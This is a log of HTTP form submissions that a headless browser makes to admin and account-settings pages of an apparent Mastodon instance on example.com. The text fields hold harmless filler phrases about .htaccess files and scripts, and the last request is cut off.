{"method": "POST", "target": "/admin/account_moderation_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 248", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MjAuMjE5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--e337cf3029ba392b7f09ecdd1933518913fddddc; _mastodon_session=ATs6OaOlS31KCVz8tHji8ZH4dn0ZbpRdsDrci9%2F2YShpPmI41tLIzlwlhvautG%2BdVve9Xs7sT8ssTueqhY4j4%2BGBg1v6ld2ITKbYzAf5mBuhbpsedc3qMgOXheCy%2FqEna0HiOQVuhW9G07fEGt%2F9qdh80j9uy%2FSG6g%2B08dNJgjWDILPEHkCDMuxXnhKR21LfREpQv1hpb0GIobYFNrRwuEjws96rtztzLBB02ZCe6M0LQhx3Se6a6aQNrUCHQ7TjESQa6kvq9oa0tncobt%2BkvtCiBjcKhCvB2SJ75pAg3oL4IZq4fcRLMj2uQ15OIAHzlQ19mDJX0vrq7Xm%2Fgsd7Hxt%2FCy5uPmYoWeCwGa7DrSTPeFu6UmQ%2FMX9HJo6XY1hBjCfPNcCdoC9%2B--YAPLMVeHKzAyshXh--rmNIq3n%2FZRmmzPZ08DH1jA%3D%3D"], "body": "authenticity_token=MRqdBhQXP46iBZlnz1zp917yxAkCh7gaqsnDMBRJWeRnv_jx3PgwPxkhnyqHsJ8-mr13hNmX6dhs2bmkH_Fdig&account_moderation_note%5Btarget_account_id%5D=117589807710501347&account_moderation_note%5Bcontent%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
{"method": "POST", "target": "/admin/warning_presets", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 244", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/warning_presets", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MzEuODM5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f8810e90dc433be1ba44410b3437e4799f846c8e; _mastodon_session=P210zwPkUaA6%2BAtwOC0ML6tw5baQVDzMoW5XBvzwUoa8mOhsmIRFoMmua0tymkqis16la6U5lbxHOwi6bxNyeYfwR7bMCp%2Fw5qM65A3hvm91mzYY5Goxj8u9slwK2RFD4rTtKgd7p4G6twFNxtqMFm7bztsYLO45X%2BQUjKpUIYYYy7BYRtDZ%2Fc1LiYuWeC3Zcclw5lVd3FCcWnvHPvuVB6ur7nwUhMifJxSg7SL1JGVqpKX9Qdd5xH8zGhKXprhBdsa8KvDjIaDh6DGn54RONeug%2FSIemud7tPgiaLkYmGnpDah2s3KTT7Ppe%2F5TifuSEjHCSejv60LNx0twfNY2gFtPqYsce5EnGzHRoFP2jB16YXcid7Lg4gFyay1yrvF4p3b9%2F5Y4vM3I--nDH6F1BO8hlJfgUl--yg6Egb21lWTT2%2B4wHansgA%3D%3D"], "body": "authenticity_token=UNmH3Iq9JeGaI26nrQyuq1n4gohEYaKAzHvjESB_PJOtEPeC-Hcv3BnQM9JdCqE-RRwJF6hwUb3rxjh6Abr2Zw&account_warning_preset%5Btitle%5D=ls+-la+shows+the+.htaccess+file&account_warning_preset%5Btext%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
{"method": "POST", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 567", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/roles/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6NDMuMTYxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c3f4be0d29e5e2d9e6660f05a178a6907b613968; _mastodon_session=H%2Fs6SGLSWeRWvoe%2B9HOgNS7MHS13%2B02UAb0hFqY5DJx6LdnnRwxA6VL%2Fky92SWuJILPbA9%2Bj46uneDuWybRSCYX01dZR9JiTDALZYWPRAO3OPDnNjl2fPexxRWn84HgHXUKiSn0F%2FH%2FEaEcBwaYb3xBH8eMIlWtIteG0sxqbmLPMmxvwBf6DF34CU0TNq3glCZG8BT2kgiN79D45I8xHYJ%2Bc6TdLhR2S0C7aZalJllvdHknfGXlrAvHDI2mjchI5oJRsSHGCKbNYT0Rb6L3vBdN61ntDc%2B4hbS6ZW7%2F5Htek%2F838uJp4s57WHka2W4fHc6%2BRXbQUbFvtNYQyXI8v7Efy4KC5d9ktQXQybBIr0SofB8THYnETw8lgFCjnkhWY0p9TBiOjs1G0--zu3JGEIWNo9aQSNI--mnDCcikLpqp7nMpkxAZyuw%3D%3D"], "body": "authenticity_token=NLy1Z6HP4BluJMMmz66ZufNuu0WbjSishNqzoBh1c-piAjb7FTZlw7lczXJKf1ussZs4wvesTzidBHF-GF6nfQ&user_role%5Bname%5D=ls+-la+shows+the+.htaccess+file&user_role%5Bposition%5D=0&user_role%5Bcolor%5D=%23000000&user_role%5Bhighlighted%5D=0&user_role%5Brequire_2fa%5D=0&user_role%5Bcollection_limit%5D=10&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&button="}
|
||||||
|
{"method": "POST", "target": "/admin/terms_of_service/draft", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 409", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/terms_of_service/draft", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6NTUuMTc4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--eb6aa9e80a364bfd1d739f910933894bbdb3b842; _mastodon_session=JlI%2FgpN3pO5%2FjYoEkdkHVFytCQDYr3dChjujzui6flIgJt4MY7R77kkuLUBrHQ8cQsm882UfAvpQE5K7Kn0w2sxs4k9BAtTriXP9ZzuqE2wUwKRcs5JFmNNLsRrC0yFAB2Vrqo5o6k2eEChldu8nPKeuV23qm4Y%2BiXUsNCD55rhuYDeQi7b4M0%2BxcG3MBTERYozAhTPkQ9No%2FTQCi7dceo3VE02aY7T4xhJtnZv%2F%2Fzvgb4%2BiJOyhE0mXzpr62lod8k2BS%2BdiKlKbJTtXiJmp4f0oFXjGrTskdbSts06OYQj71BEHG9XZOfPLtEHLonD%2FKgqU9aeaL3NVzD8sA49hdXAjrff90sQdu9Pu2ORzDCzWtzoOKfEb%2FvbiUsQqlgy2mQ8UCGpU%2BTbw--jXQ5qo5Mp5ft6flw--bhXHX%2FLzpIKZ1syW0vgwyQ%3D%3D"], "body": "_method=put&authenticity_token=4tJ7f31IbMnroyiCKx46gIDXWXya9jlqtvWp6pHzFTi_WggTUdhhrNNl4ccGvUUd3uk58mZKqyRFYbfuBniAbw&terms_of_service%5Btext%5D=ls+-la+shows+the+.htaccess+file&terms_of_service%5Bchangelog%5D=ls+-la+shows+the+.htaccess+file&terms_of_service%5Beffective_date%281i%29%5D=2026&terms_of_service%5Beffective_date%282i%29%5D=11&terms_of_service%5Beffective_date%283i%29%5D=20&action_type=save_draft"}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 499", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=U48SUvi%2BQv8bl2eoC%2BWo3Src9xcYkdTucsJM%2FNz%2Fbo4o4pAyHStCaNS3bVJWVVWqR3LbIuRE9GjF2DBVFcqkNxy8KS8lvJcaJuTCFjGufDcdwGY8GljElyGd5B9lVMFrcgfpb3h8Uu66Gohfga%2FY0B50ITg3mblcuFAzDOHxd5uc9hor73%2FvRdZNCEJn7F%2F5Efc94AAIklqSBAkyM6yKRQug9ajNgLtLj%2B3BgPbBdJ2M4zJdPdxXkDkexiefv7MYCpS2s1kMxw2%2FMViwUDDna0ZOBHxHwE1WMPaW4wiXGXG9kyNVPuAERzZbhK%2Fj1f4sNG9zumNxdYZKouWc%2BqdymDmrOkacgbSa5MIMX1ptZd4laxGxQpfJBo35CtLg--Me9oz2Kua8c7MCqq--EoEPVGJHgOX%2FqrgGYqp9ZQ%3D%3D"], "body": "authenticity_token=iXEeYb_02XISojzm1HWVknPdVf33mHGJwDKyT4M4fGc3MYW4hGR5Ex27OCSLlOepfPKuhat1ydAXiZvw5EPQag&user%5Baccount_attributes%5D%5Busername%5D=river_notes&user%5Bemail%5D=river_notes%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=ls+-la+shows+the+.htaccess+file&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "POST", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 255", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTA6MzAuNDk3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--84a60be99147b240cb6dccbc44040c0b739c4b43; _mastodon_session=UABRdVbMXXMFFp%2F7Z7mB6MiT9Bm1%2BYC0n%2BTfv%2BFsyoZl4IlttNmj6g3vjLC0zCFWPnIa19pqaojDLa0jq70xdLxeqpDq2ddhaH2A65FS9kP42qVkY8Ln4z9meXZPIDHJB498zA1nE0Qx%2BLkoqnM4jAUZC32oBZlSOudN4SovU4RslsocCw2n8U7SGi7UuRxLubeSW%2Fh0TSrMnh4V4SYYe6y%2BSrdtwH%2B4Q%2Fy028E3qkVzNhZ6CgoP6WUu16KqIQ67XYw7nruVCmwOgOGaIPV9sWRxoPoUnjk%2BuLFWJotAf4fwZOl2AYdHxmYhxRQTY3uxPCY10KSixTRSPMC063UueXJlMYO3GDHYGaYs7PR5mJwDbD3NIbSfkFsCANrc36s%2FQzYS0FK%2BlNwI--rOtCEEGrp2iN3ow%2F--3QR7ze5LibzMQQgiCzYJow%3D%3D"], "body": "authenticity_token=SXjx9RPA5uRxQZF-P0lkvzH3b8TFb1_-xbhUTG3jt_7Q7L_9FnX30uzFy4M01gptjMIEszogCg350z8hbEh5GA&account_migration%5Bacct%5D=carol%40remote.example&account_migration%5Bcurrent_password%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/settings/migration/redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 247", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration/redirect/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTA6NDIuMzMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--68c14193269c529ddc12857986a93ba1aec6b66f; _mastodon_session=nqDf8sTcJ83GaXsWMy3fYF6cRcU0LEBemdy2mJYanhadpsmOMHyM1quz2C%2B%2FIREYvrCS5cQzc5U2VBI4CMQsqqV%2BXT%2F9p1BIJanCUjECdvFZCHM%2BDSdfDPG3eGxmzGTLv56imNWp0ZwJ6KnRLlFrvONu9U1tm0QvAKPlHiS1HAPCZVyNTnArv4F53czeFfMrNFMYgbDyt%2BZE0Q0B3pv3w5mm34rFyYebbbTmKKF7k1t%2F%2BbNPzoQQDLf8dc6et4JPaN6VvphHWur8AzkUAB5IjFNbyVCbK%2BPPjeTZdECwsEj7L6a6ALpVd6uYQ%2FSBhOlYKGJGavXWeQ%2FnbTcOlX%2Bn3qvzKJSfiHEv0XtNTwB6y6XHC3ZsN0lVURVid242amjlTMDW6IaC2rwK--V51WqvLjN5pOQ7YT--ibkq8GFdvFc%2Fq5zUb0%2FTpw%3D%3D"], "body": "authenticity_token=Xw5mZPitgTJXdW8-TdNa3TYCLun8csLrDovPo_W1U0osLVwOJLJoeOhxAPuuR5khP1Ff1LmcdU27saPE65rP6Q&form_redirect%5Bacct%5D=carol%40remote.example&form_redirect%5Bcurrent_password%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/settings/delete", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 261", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/delete", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTA6NTcuMDU3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0efff5f44c8a4d5bfb20180b3cb13cacd740f286; _mastodon_session=DJi13LSLrj1ypRd1bhDih7%2FsHs5XfVCkApWaSgkam2FBv3KApyO%2Fa72cqHb2urmABoImh2pWoTctoy5UQGToDsMvRQq3LqSO2K7ZZQs3BL%2FJxR6hb9nOjkULJ1BpHDheXsVFMSSHKyJP4dRVcIaHMs8aVlpNGkPG6dVyDl1R3p1f%2FKwLF3vrzKbLwW%2B4j8jMyleto4ZgKIf1DEEouxh6UVVOx4SWTw1Yxmk0CvvNzLYzuZLSHyJyvl%2BZSYP4ucV5k4odh%2FRfryyp9PgfWHoG4DgnbAGyzi0%2BNKSuq3xGuzB0XRJ1dXoSX58eHSqNcTyEK0VEZ8xmmtpfI%2FLevNGZmfMgKQmJFiG23Nk4zUgf0vNv%2FTMbymxTrf%2F3pMlil9sFXYoYGScJ14x1--0TurehiSTwEJLmic--8WKC0Ee%2FD2%2BsaSNKpKF0tw%3D%3D"], "body": "_method=delete&authenticity_token=aCKhS0vSHmaExtu9pqM9bJqRhInsZsfvDOT3erwJeCmwdKht7B63rLdiO-zeBznqG7oHmZV-nFWz2idyDJ1vLw&form_delete_confirmation%5Busername%5D=bob&form_delete_confirmation%5Bpassword%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 236", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTE6MDQuODY4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--053251e947949cb91f6630e2389ab8db71a4cbcd; _mastodon_session=GJPgZRCfm8%2B2Jr%2BBtvi4Uzmb%2FS0HzNliy9eyg%2FsBytLnymG8378dHLgC0qF60vvzZmSEydnrUv2N2A3sXM2NbAZEJHGE%2F9aCJ8DvhWSKnfZUlTZUead%2FQnZ%2FGzmrCTDfzqH0VBEwx1eFBJsPE8iSXeZx1Rk8Kq%2FCPf3pedCTkPVlIUdopx6z2jwfsCdPVwSjwCG2YsISin7p52cI3H5c2Bvpj6YqecDmbsmTxZYOfwnN8zqgk7PCnSd1XjfmqAPMyyZ8SjgcdE9vVs0Y%2BJBG2xArvYRGmO4XfSzfVLauqH%2B%2FU29%2Bph3v%2BPnx7UCDTmlhltzeOQ0iqqJ7I0AqQyL7SBVT18rdFbYZF603xdEk0%2FlTGzGyWOL795Qfso0AQ%2FJdzfaJ%2BVMNXNJm--OgT%2FPuD%2F%2BYxTzakS--7GVODJeVXhEs0FTIO5kLIg%3D%3D"], "body": "authenticity_token=oWzo1ySenTJKxkWE3--ZxkTK-2MgpBCVifJoGwtkesY4-KbfISuMBNdCH3nUcPcU-f-QFN_rRWa1mQN2Cs-0IA&account_migration%5Bacct%5D=carol%40remote.example&account_migration%5Bcurrent_password%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
{"method": "POST", "target": "/settings/migration/redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 228", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration/redirect/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTE6MTMuNTY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b52ae42ed78ebb26ad0ec5712ec318ab6868704a; _mastodon_session=vQBJNLFgFKuCutA0r7biK376EPucsPnOWNEehfEdaMmhnPXy%2FmXFDnuasTp%2B7NHzhrZlRj8GVEeDX2qcu%2F4KR7PRYZSLcTVhYHZiheTE18bi4F8OxbWzhQ7OByoZSeAtWxfR1yRNqg%2F2QiH%2BAAMtwMfdpFa18eD2mJdVO1ZA6gzCResJET4guZTo19ZCU6ZHxVgrAdRyrd6XlsNnYOsEpOSP9ZnlFu%2F2P1gJATd3L5mf9sqvaMwOKURDFfRKXZvgknRww91GA62zoSnnR2gPApvxwZqKjIYMY04IcdDWfr%2BMnDjc4fBkBZQqEiAwsSgq0TfNqgapIG2TbFhwwG3mOoKgLKr2Bc28BB9beg26zWPExpsLfvnTZmaoS4JNi7ajcVglhRxCBScS--NMCJY3G7DTP5Wfty--vwWL%2BoM3LXJPty41J1Vpug%3D%3D"], "body": "authenticity_token=euxXZxII5Z8B9ueHrZL_oPAjadXyDHo_Ou4xbeKPzR4Jz20NzhcM1b7yiEJOBjxc-XAY6LfizZmP1F0K_KBRvQ&form_redirect%5Bacct%5D=carol%40remote.example&form_redirect%5Bcurrent_password%5D=ls+-la+shows+the+.htaccess+file&button="}
|
||||||
|
{"method": "POST", "target": "/settings/delete", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 242", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/delete", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTE6MjkuMjI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b4b47585b218826e926fd3ca365dbfe1fd3a0a22; _mastodon_session=hImYrelJ98PY%2F%2BEqPWWYJDnP0Tpm1T3Q67oLrhZHIlRNqQuVGeENvLTe%2FWmNr8VqGS5hojHeGyhUuJHlorXulxmTxe%2Fl6%2FRMlRgB4AlUEhGKHxEsin0O%2FScYX0hqW2gOPfk6GtBEfbkPCkv71r94d9znprr5xdPyo%2FmOEGc4rk16AKqY9JQJDhQhtzK1Dz%2Fa7dkS2JeJx6Sbrc6aOlVCS1nqNylDXjidlJNtowfCnVAVeF8QUZ94NuBqYQ%2BYEdM%2FsOgsq6WE8L2rnCfTKSEKkQ5wzu4odiOSFFb02Giv%2B1K%2FAhnpqkGK9cxlIlwLsT8wRCBYRCFPMrNDR86FW1rhokPOoHpSIyKnL%2FtmasDJfo9rhR4kQusT2Dd46DjEH7jNLNcheA8%2F5mDL--2o%2F8bYD6srmF1Gxe--OZU8Fw9NAUDRzOYmPqaxSQ%3D%3D"], "body": 